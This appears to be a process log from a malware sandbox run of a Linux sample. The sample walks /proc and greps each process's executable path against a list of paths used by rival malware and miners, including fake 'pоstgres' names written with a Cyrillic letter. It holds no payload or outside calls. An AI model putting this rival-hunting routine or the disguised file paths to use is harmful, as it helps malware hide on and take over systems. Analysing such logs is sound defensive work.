/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:838
-
-
/bin/grepgrep exe2⤵PID:841
-
-
/bin/lsls -latrh /proc/152⤵PID:840
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:843
-
-
/bin/grepgrep exe2⤵PID:846
-
-
/bin/lsls -latrh /proc/1532⤵PID:845
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:848
-
-
/bin/grepgrep exe2⤵PID:851
-
-
/bin/lsls -latrh /proc/1562⤵PID:850
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:853
-
-
/bin/grepgrep exe2⤵PID:856
-
-
/bin/lsls -latrh /proc/162⤵PID:855
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:858
-
-
/bin/grepgrep exe2⤵PID:861
-
-
/bin/lsls -latrh /proc/172⤵PID:860
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:863
-
-
/bin/grepgrep exe2⤵PID:866
-
-
/bin/lsls -latrh /proc/1722⤵PID:865
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:868
-
-
/bin/grepgrep exe2⤵PID:871
-
-
/bin/lsls -latrh /proc/182⤵PID:870
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:873
-
-
/bin/grepgrep exe2⤵PID:876
-
-
/bin/lsls -latrh /proc/192⤵PID:875
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:878
-
-
/bin/grepgrep exe2⤵PID:881
-
-
/bin/lsls -latrh /proc/22⤵PID:880
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:883
-
-
/bin/grepgrep exe2⤵PID:886
-
-
/bin/lsls -latrh /proc/202⤵PID:885
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:888
-
-
/bin/grepgrep exe2⤵PID:891
-
-
/bin/lsls -latrh /proc/212⤵PID:890
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:893
-
-
/bin/grepgrep exe2⤵PID:896
-
-
/bin/lsls -latrh /proc/222⤵PID:895
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:898
-
-
/bin/grepgrep exe2⤵PID:901
-
-
/bin/lsls -latrh /proc/2292⤵PID:900
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:903
-
-
/bin/grepgrep exe2⤵PID:906
-
-
/bin/lsls -latrh /proc/232⤵PID:905
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:908
-
-
/bin/grepgrep exe2⤵PID:913
-
-
/bin/lsls -latrh /proc/242⤵PID:912
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:915
-
-
/bin/grepgrep exe2⤵PID:919
-
-
/bin/lsls -latrh /proc/2452⤵PID:918
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:922
-
-
/bin/grepgrep exe2⤵PID:925
-
-
/bin/lsls -latrh /proc/32⤵PID:924
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:928
-
-
/bin/grepgrep exe2⤵PID:932
-
-
/bin/lsls -latrh /proc/3272⤵PID:931
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:934
-
-
/bin/grepgrep exe2⤵PID:938
-
-
/bin/lsls -latrh /proc/3282⤵PID:937
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:941
-
-
/bin/grepgrep exe2⤵PID:945
-
-
/bin/lsls -latrh /proc/3302⤵PID:944
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:948
-
-
/bin/grepgrep exe2⤵PID:951
-
-
/bin/lsls -latrh /proc/3322⤵PID:950
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:955
-
-
/bin/grepgrep exe2⤵PID:958
-
-
/bin/lsls -latrh /proc/3592⤵PID:957
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:961
-
-
/bin/grepgrep exe2⤵PID:965
-
-
/bin/lsls -latrh /proc/362⤵PID:964
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:967
-
-
/bin/grepgrep exe2⤵PID:972
-
-
/bin/lsls -latrh /proc/372⤵PID:971
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:974
-
-
/bin/grepgrep exe2⤵PID:978
-
-
/bin/lsls -latrh /proc/3792⤵PID:977
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:981
-
-
/bin/grepgrep exe2⤵PID:984
-
-
/bin/lsls -latrh /proc/3812⤵PID:983
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:988
-
-
/bin/grepgrep exe2⤵PID:991
-
-
/bin/lsls -latrh /proc/3852⤵PID:990
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:994
-
-
/bin/grepgrep exe2⤵PID:998
-
-
/bin/lsls -latrh /proc/42⤵PID:997
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1001
-
-
/bin/grepgrep exe2⤵PID:1005
-
-
/bin/lsls -latrh /proc/4202⤵PID:1004
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1007
-
-
/bin/grepgrep exe2⤵PID:1011
-
-
/bin/lsls -latrh /proc/52⤵PID:1010
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1014
-
-
/bin/grepgrep exe2⤵PID:1018
-
-
/bin/lsls -latrh /proc/62⤵PID:1017
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1021
-
-
/bin/grepgrep exe2⤵PID:1024
-
-
/bin/lsls -latrh /proc/6672⤵PID:1023
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1027
-
-
/bin/grepgrep exe2⤵PID:1032
-
-
/bin/lsls -latrh /proc/672⤵PID:1031
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1035
-
-
/bin/grepgrep exe2⤵PID:1039
-
-
/bin/lsls -latrh /proc/6712⤵PID:1038
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1042
-
-
/bin/grepgrep exe2⤵PID:1047
-
-
/bin/lsls -latrh /proc/6982⤵PID:1046
-
-
